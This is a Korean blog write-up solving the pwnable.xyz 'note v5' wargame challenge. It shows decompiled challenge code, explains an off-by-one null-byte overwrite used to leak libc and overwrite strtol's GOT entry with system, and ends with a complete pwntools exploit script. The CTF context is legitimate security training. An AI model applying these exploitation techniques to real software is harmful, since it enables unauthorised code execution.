Pwnstar

pwnable.xyz note v5 본문

Wargame/pwnable.xyz

pwnable.xyz note v5

포너블처돌이 2020. 12. 23. 11:29

드디어 마지막 문제다. 근데 마지막 문제치고는 좀 많이 쉬웠음.

PIE랑 relro가 안걸려있다.

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 *v3; // rbx
  int i; // ebp
  __int64 *v5; // r12
  signed int v6; // eax
  __int64 v7; // [rsp+0h] [rbp-48h]
  unsigned __int64 v8; // [rsp+28h] [rbp-20h]

  v8 = __readfsqword(0x28u);
  setup();
  puts("====== Welcome to notes v5 ======");
  puts("Here is your favorite note taking, menu driven pwn #0\n");
  while ( 1 )
  {
    _printf_chk(1LL, "Menu:\n 1. Make note.\n 2. Read note.\n 3. Edit note.\n 4. Exit.\n> ");
    v3 = &v7;
    for ( i = 0; ; ++i )
    {
      v5 = v3;
      if ( (unsigned int)read(0, v3, 1uLL) == -1 )
        break;
      v3 = (__int64 *)((char *)v3 + 1);
      if ( *(_BYTE *)v5 == 10 || i == 13 )
        break;
    }
    *(_BYTE *)v5 = 0;
    v6 = strtol((const char *)&v7, 0LL, 10);
    if ( v6 == 2 )
    {
      read_note();
    }
    else if ( v6 <= 2 )
    {
      if ( v6 == 1 )
        make_note();
    }
    else if ( v6 == 3 )
    {
      edit_note();
    }
    else if ( v6 == 4 )
    {
      puts("Bye bye o/");
      exit(0);
    }
  }
}

다른 노트 문제들과 크게 다른 것은 없음. free하는 부분이 없는 것 빼고는

 

make_note

void __cdecl make_note()
{
  _QWORD *v0; // rax
  __int64 v1; // rdx
  __int64 v2; // rcx
  _BYTE *v3; // rbx
  int v4; // ebp
  int v5; // er12

  v0 = malloc(0x40uLL);
  v1 = head;
  v2 = head;
  if ( head )
  {
    while ( *(_QWORD *)(v2 + 56) )
      v2 = *(_QWORD *)(v2 + 56);
    v0[1] = (signed int)(*(unsigned __int64 *)(v2 + 8) + 1);
    while ( *(_QWORD *)(v1 + 56) )
      v1 = *(_QWORD *)(v1 + 56);
    *(_QWORD *)(v1 + 56) = v0;
  }
  else
  {
    v0[1] = 0LL;
    head = (__int64)v0;
  }
  *v0 = 40LL;
  v3 = v0 + 2;
  v4 = 0;
  _printf_chk(1LL, "Input note: ");
  v5 = *((_QWORD *)v3 - 2);
  if ( v5 >= 0 )
  {
    while ( (unsigned int)read(0, v3, 1uLL) != -1 && *v3 != 10 && v5 != v4 )
    {
      ++v4;
      ++v3;
      if ( v5 < v4 )
        goto LABEL_16;
    }
    *v3 = 0;
  }
LABEL_16:
  _printf_chk(1LL, "\n");
}

문제풀면서 구조체를 안만들어 놨는데, 그림으로 설명해보자. 0x40만큼 할당을 받고

요로케 생겼다.

make_note에서 바로 취약점이 발생하는데, data를 0x28바이트만큼 꽉 채워서 넣어주면 nextchunk의 주소 하위 1바이트가 NULL바이트로 덮이게 된다.

그러면 첫번쨰 chunk 주소 -0x10의 위치를 가리키게 되는데, 이 점을 이용해서 다른 주소로 점프할 수 있음.

 

read_note

void __cdecl read_note()
{
  __int64 *v0; // rbx
  int i; // ebp
  __int64 *v2; // r12
  int v3; // ebx
  __int64 v4; // rdx
  __int64 v5; // [rsp+0h] [rbp-48h]
  unsigned __int64 v6; // [rsp+28h] [rbp-20h]

  v6 = __readfsqword(0x28u);
  if ( head )
  {
    _printf_chk(1LL, "Note id: ");
    v0 = &v5;
    for ( i = 0; ; ++i )
    {
      v2 = v0;
      if ( (unsigned int)read(0, v0, 1uLL) == -1 )
        break;
      v0 = (__int64 *)((char *)v0 + 1);
      if ( *(_BYTE *)v2 == 10 || i == 13 )
        break;
    }
    *(_BYTE *)v2 = 0;
    v3 = strtol((const char *)&v5, 0LL, 10);
    _printf_chk(1LL, "\n");
    v4 = head;
    do
    {
      if ( v3 == *(_DWORD *)(v4 + 8) )
      {
        _printf_chk(1LL, "Your note: %s\n");
        return;
      }
      v4 = *(_QWORD *)(v4 + 56);
    }
    while ( v4 );
    puts("ERROR: Note not found.");
  }
  else
  {
    puts("ERROR: You need to make a note first.");
  }
}

인덱스를 입력받고, next chunk로 계속 이동하면서 해당 인덱스의 주소 값을 출력해줌. libc leak을 하는데에 씀

 

edit_note

void __cdecl edit_note()
{
  __int64 *v0; // rbx
  int i; // ebp
  __int64 *v2; // r12
  int v3; // ebp
  __int64 v4; // rbx
  __int64 v5; // rax
  _BYTE *v6; // rbx
  int v7; // er12
  int v8; // ebp
  __int64 v9; // [rsp+0h] [rbp-48h]
  unsigned __int64 v10; // [rsp+28h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  if ( head )
  {
    _printf_chk(1LL, "Note id: ");
    v0 = &v9;
    for ( i = 0; ; ++i )
    {
      v2 = v0;
      if ( (unsigned int)read(0, v0, 1uLL) == -1 )
        break;
      v0 = (__int64 *)((char *)v0 + 1);
      if ( *(_BYTE *)v2 == 10 || i == 13 )
        break;
    }
    *(_BYTE *)v2 = 0;
    v3 = strtol((const char *)&v9, 0LL, 10);
    _printf_chk(1LL, 4198083LL);
    v4 = head;
    while ( v3 != *(_DWORD *)(v4 + 8) )
    {
      v4 = *(_QWORD *)(v4 + 56);
      if ( !v4 )
      {
        puts("ERROR: Note not found.");
        return;
      }
    }
    _printf_chk(1LL, "New note: ");
    v5 = *(_QWORD *)v4;
    v6 = (_BYTE *)(v4 + 16);
    v7 = v5;
    if ( (signed int)v5 >= 0 )
    {
      v8 = 0;
      while ( (unsigned int)read(0, v6, 1uLL) != -1 && *v6 != 10 && v7 != v8 )
      {
        ++v8;
        ++v6;
        if ( v7 < v8 )
          goto LABEL_17;
      }
      *v6 = 0;
    }
LABEL_17:
    _printf_chk(1LL, 4198083LL);
  }
  else
  {
    puts("ERROR: You need to make a note first.");
  }
}

마찬가지로 인덱스를 입력받고 next chunk로 이동하면서 해당 인덱스에 값을 덮어쓸 수 있음.

libc leak을 하는 과정은 이렇게 된다.

  1. note를 두개 생성
  2. 0번 note를 수정해서 0x28바이트만큼 입력받아 next chunk주소를 0번째 note 주소의 -0x10으로 만들어줌.
  3. 위의 과정을 거치면 

0번째 note의 다음 note는 사이즈가 0, index가 0x51인 노트가 됨. 해당 노트의 +0x38의 위치에 다음 노트의 위치가 오므로 이 위치에 libc leak을 할만한 주소를 넣어준다.

처음에는

이 주소로 libc leak을 하려고 진행했음 그런데 제공해주는 libc파일에서 해당 주소의 offset을 못구해서 다른 주소로 leak을 해주려고 찾아보다가

여기가 더 적합할 것 같아서 여기로 진행했다.

libc leak을 한 이후에는 같은 과정으로 덮어줄 함수를 찾아주면 된다.

덮어줄 함수는 정말 많은데, libc도 주어졌겠다, oneshot gadget으로 덮어주려고 exit함수를 덮어봤는데, oneshot은 안먹힌다.

그래서 system("cat flag")나 system("/bin/sh")를 실행시켜줄만한 적합한 함수가 뭐가 있을까 찾아보다가 찾은게 strtol함수였다. 첫번째 인자를 내가 원하는 입력으로 줄 수 있어서 이걸로 가능할 것 같았다.

 

주의해야할 점이라면, 입력할 위치  - 0x10의 위치에 size값과 index를 조금 신경써 줘야하는데, size에는 어차피 적당히 큰 값이 들어가 있지만 index에는 다른 libc의 주소가 들어가 있다.

빨간 테두리가 있는 부분으로 index를 잡아줬다고 이 주소를 index로 입력할 필요가 없다 어차피 index를 검사할 때 DWORD로 진행하기 때문에 하위 4바이트를 입력해주면 된다.

 

ex.py

from pwn import*

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30047)
script = '''
b*0x0000000000400DC1
b*0x0000000000400D29
'''
#gdb.attach(p, script)

def make(note):
	p.sendlineafter("> ", "1")
	p.sendlineafter(": ", note)


def show(idx):
	p.sendlineafter("> ", "2")
	p.sendlineafter(": ", str(idx))

def edit(idx, note):
	p.sendlineafter("> ", "3")
	p.sendlineafter(": ", str(idx))
	p.sendlineafter(": ", note)

puts_got = 0x6014a0

make("A"*0x28)
make("B"*0x28)

#leak libc
edit(0, "D"*0x18 + p64(0x6015b8) + "D"*0x8)
show(0xa000000)

p.recvuntil("note: ")

libc = u64(p.recv(6) + "\x00\x00")
libc_base = libc - 0x395770

sig = libc_base + 0x341a0
#sig = libc_base + 0x353d0		#local
system = libc_base + 0x404f0
#system = libc_base + 0x453a0	#local
log.info("leak = " + hex(libc))
log.info("libc base = " + hex(libc_base))
log.info("bsd sig = " + hex(sig))
log.info("system = " + hex(system))
log.info("index = " + hex(sig & 0xffffffff))


index = sig & 0xffffffff


edit(0, "A"*0x18 + p64(0x6014c0) + "A"*0x8)

sleep(1)
edit(index, p64(0) + p64(system))

p.sendlineafter("> ", "cat flag")

p.interactive()

 

pwnable.xyz 올클!!!

끗!!!

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz adultvm3  (0) 2020.12.22
pwnable.xyz adultvm2  (0) 2020.12.22
pwnable.xyz adultvm  (0) 2020.12.21
pwnable.xyz note v4  (0) 2020.12.20
pwnable.xyz fishing  (0) 2020.12.19
Comments